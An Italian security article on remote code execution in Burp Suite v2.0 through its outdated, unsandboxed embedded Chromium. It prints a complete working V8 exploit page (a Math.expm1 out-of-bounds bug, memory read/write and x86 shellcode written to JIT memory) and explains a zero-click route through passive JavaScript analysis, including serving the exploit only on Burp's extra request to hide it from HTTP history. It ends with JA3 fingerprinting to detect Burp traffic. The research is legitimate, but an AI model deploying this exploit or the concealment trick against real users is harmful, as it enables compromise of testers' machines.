Un viaggio dentro l’RCE di Burp Suite

1. Introduzione

Headless Chrome è quella modalità non interfacciale del browser Google Chrome che apre e visualizza le pagine Web tramite le righe di comando. Viene spesso utilizzato in scenari come test automatici, scansione di siti Web, screenshot di siti Web e rilevamento XSS.

Negli ultimi anni, molte applicazioni client desktop hanno fondamentalmente incorporato Chromium per l’utilizzo in scenari aziendali. Tuttavia, a causa di sviluppo improprio, manutenzione della versione CEF e altri problemi, gli aggressori possono utilizzare questi difetti per attaccare le applicazioni client per ottenere l’esecuzione dei comandi.

Questo articolo prende come esempio il noto software di penetrazione Burp Suite e conduce una discussione approfondita dell’analisi del software, dell’estrazione di vulnerabilità e dell’espansione della superficie di attacco.

2. Analisi del software

Prendiamo come esempio la versione v2.0beta di Burp Suite Pro. Per eseguire il mining di vulnerabilità, dobbiamo prima comprendere l’architettura del software e i punti di funzione.

burpsuite_pro_v2.0.11beta.jar verrà decompresso e potrai scoprire che Burp Suite contiene Chromium per Windows, Linux e Mac, che può essere compatibile con l’esecuzione del browser Chromium integrato in diversi sistemi.

Nel sistema Windows, Burp Suite v2.0 chromium-win64.7z verrà decompresso nellacartella C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\ mentre è in esecuzione

È noto dal nome del catalogo e dalla firma digitale che Burp Suite v2.0 fa riferimento direttamente al controllo del browser JxBrowser e che la versione Chromium nel pacchetto è 64.0.3282.24.

Come utilizzare il browser integrato in Burp Suite? In scenari di utilizzo comune sia Proxy -> HTTP history -> Response -> Render che Repeater -> Render sono in grado di chiamare il rendering del browser Web Chromium integrato.

Quando Burp Suite richiama il browser integrato browsercore32.exe per aprire una pagina web, browsercore32.exe creerà un processo di rendering e un processo accelerato dalla GPU.

I parametri operativi del processo browsercore32.exe sono i seguenti:

// Chromium
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

Dall’analisi dei parametri operativi del processo, è noto che il processo Chromium viene eseguito in modalità headless, la funzione sandbox è disattivata e viene monitorata una porta casuale (lo scopo è sconosciuto).

3. Sfruttamento della vulnerabilità

Quasi tutte le versioni storiche dei componenti Chromium sono a rischio di vulnerabilità 1Day. In particolare, il software client generalmente non mantiene o aggiorna la versione Chromium e la funzione sandbox è disattivata. Le vulnerabilità possono essere sfruttate senza restrizioni e senza protezione sandbox.

La versione Chromium integrata di Burp Suite v2.0 è 64.0.3282.24. Questa versione bassa di Chromium è affetta da più vulnerabilità storiche e può eseguire shellcode tramite vulnerabilità del motore v8 per ottenere le autorizzazioni del PC.

Usa la funzione Render per dimostrare e la vulnerabilità v8 per attivare lo shellcode per aprire il calcolatore (qui grazie a Sakura per aver fornito il codice exploit)

Non esiste un ID CVE pubblico per questa vulnerabilità, ma i suoi dettagli possono essere trovati qui.
La causa principale di questa vulnerabilità è il tipo Math.expm1 dedotto durante l’analisi dell’ambito Union(PlainNumber, NaN), ignorando la situazione che Math.expm1(-0) verrà restituita a -0, causando un errore nell’analisi dell’ambito, portando alla rimozione errata dei CheckBound di controllo dei limiti durante l’ottimizzazione JIT, con conseguente Vulnerabilità OOB.

<html>
<head></head>
</body>
<script>
function pwn() {
    var f64Arr = new Float64Array(1);
    var u32Arr = new Uint32Array(f64Arr.buffer);
    function f2u(f) {
        f64Arr[0] = f;
        return u32Arr;
    }
    function u2f(h, l)
    {
        u32Arr[0] = l;
        u32Arr[1] = h;
        return f64Arr[0];
    }
    function hex(i) {
        return "0x" + i.toString(16).padStart(8, "0");
    }
    function log(str) {
        console.log(str);
        document.body.innerText += str + '\n';
    }
    var big_arr = [1.1, 1.2];
    var ab = new ArrayBuffer(0x233);
    var data_view = new DataView(ab);
    function opt_me(x) {
        var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
        big_arr = [1.1, 1.2];
        ab = new ArrayBuffer(0x233);
        data_view = new DataView(ab);
        let obj = {
            a: -0
        };
        let idx = Object.is(Math.expm1(x), obj.a) * 10;
        var tmp = f2u(oob_arr[idx])[0];
        oob_arr[idx] = u2f(0x234, tmp);
    }
    for (let a = 0; a < 0x1000; a++)
        opt_me(0);
    opt_me(-0);
    var optObj = {
        flag: 0x266,
        funcAddr: opt_me
    };
    log("[+] big_arr.length: " + big_arr.length);
    if (big_arr.length != 282) {
        log("[-] Can not modify big_arr length !");
        return;
    }
    var backing_store_idx = -1;
    var backing_store_in_hign_mem = false;
    var OptObj_idx = -1;
    var OptObj_idx_in_hign_mem = false;
    for (let a = 0; a < 0x100; a++) {
        if (backing_store_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x466) {
                backing_store_in_hign_mem = true;
                backing_store_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x466) {
                backing_store_in_hign_mem = false;
                backing_store_idx = a + 1;
            }
        }
        else if (OptObj_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x4cc) {
                OptObj_idx_in_hign_mem = true;
                OptObj_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x4cc) {
                OptObj_idx_in_hign_mem = false;
                OptObj_idx = a + 1;
            }
        }
    }
    if (backing_store_idx == -1) {
        log("[-] Can not find backing store !");
        return;
    } else
        log("[+] backing store idx: " + backing_store_idx +
            ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
    if (OptObj_idx == -1) {
        log("[-] Can not find Opt Obj !");
        return;
    } else
        log("[+] OptObj idx: " + OptObj_idx +
            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
    var backing_store = (backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    log("[+] Origin backing store: " + hex(backing_store));
    var dataNearBS = (!backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    function read(addr) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        return data_view.getInt32(0, true);
    }
    function write(addr, msg) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        data_view.setInt32(0, msg, true);
    }
    var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
        f2u(big_arr[OptObj_idx])[1] :
        f2u(big_arr[OptObj_idx])[0]) - 1;
    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
    var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
    var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
    var shellcode = new Uint8Array(
           [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
            0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
            0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
            0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
            0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
            0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
            0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
            0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
            0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
            0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
            0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
            0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
            0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
    );
    log("[+] writing shellcode ... ");
    for (let i = 0; i < shellcode.length; i++)
        write(RWX_Mem_Addr + i, shellcode[i]);
    log("[+] execute shellcode !");
    opt_me();
}
pwn();
</script>
</body>
</html>

L’utente attiva la vulnerabilità v8 durante il rendering della pagina tramite la funzione Render per eseguire correttamente lo shellcode.

4. Attacchi avanzati

La funzione Render richiede l’interazione dell’utente per attivare la vulnerabilità, il che è relativamente senza senso. Può 0click attivare la vulnerabilità? La risposta è si.

La funzione Live audit from Proxy di scansione passiva di Burp Suite v2.0 abilita l’analisi JavaScript per impostazione predefinita per la ricerca di vulnerabilità JavaScript.

Nella configurazione dell’analisi JavaScript, le tecniche di analisi dinamica e la funzione di richiesta aggiuntiva (che effettua richieste per le dipendenze Javascript mancanti) sono abilitate per impostazione predefinita.

La funzione di analisi dinamica JavaScript chiamerà il browser Chromium integrato per eseguire la scansione DOM XSS del JavaScript nella pagina, inoltre attiverà il rendering HTML e l’esecuzione JavaScript nella pagina, attivando così la vulnerabilità v8 per l’esecuzione dello shellcode.

Funzione di richiesta aggiuntiva: quando la pagina ha un tag di script che fa riferimento a JS esterno, oltre a richiedere di caricare il tag di script quando la pagina viene renderizzata normalmente, avvierà anche una richiesta aggiuntiva per caricare il JS esterno. Cioè, vengono effettuate due richieste per caricare file JS esterni e l’analisi dinamica JavaScript viene eseguita rispettivamente due volte.

La richiesta HTTP aggiuntiva avrà una funzione di testo in chiaro.In base a questa funzione, il backend può restituire il normale codice JavaScript durante il caricamento normale e restituire il codice exploit durante il caricamento aggiuntivo, in modo che il comportamento dell’attacco possa essere nascosto nella cronologia HTTP di Burp Suite.

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

Analisi dinamica JavaScript + richiesta aggiuntiva + effetto exploit combinazione vulnerabilità di Chromium:

5. Rilevamento delle caratteristiche del flusso

Per impostazione predefinita, l’algoritmo negoziato quando Java avvia una richiesta HTTPS sarà influenzato dal JDK e dalla versione del sistema operativo. Burp Suite implementa la libreria di richieste HTTPS stessa. L’algoritmo per la negoziazione dell’handshake TLS è fisso. In combinazione con l’algoritmo JA3, il traffico TLS può essere formata la funzione di impronte digitali. Se sei stato testato, puoi imparare “TLS Fingerprinting con JA3 e JA3S” per conoscere i test JA3.

Cloudflare è open source e applica il componente MITMEngine ai prodotti CDN. Le richieste dannose possono essere rilevate e intercettate tramite il riconoscimento dei fingerprint TLS. Copre la maggior parte della versione Burp Suite dei fingerprint JA3 per ottenere il rilevamento e l’intercettazione. Questo può anche spiegare perché non è possibile ottenere il pacchetto di risposta quando si utilizza la richiesta Burp Suite durante i test di penetrazione.

Prendiamo ad esempio Burp Suite v2.0. Nel test effettivo, i fingerprint JA3 avviati dallo stesso pacchetto jar sono le stesse in ogni sistema operativo.

Diverse versioni di Burp Suite supportano diversi algoritmi TLS che causeranno impronte JA3 diverse, ma le stesse impronte JA3 della versione Burp Suite sono decisamente le stesse. Se devi coprire il rilevamento del traffico di Burp Suite, devi solo coprire ogni versione del riconoscimento dei fingerprint JA3 per rilevare gli attacchi di Burp Suite e bloccarli.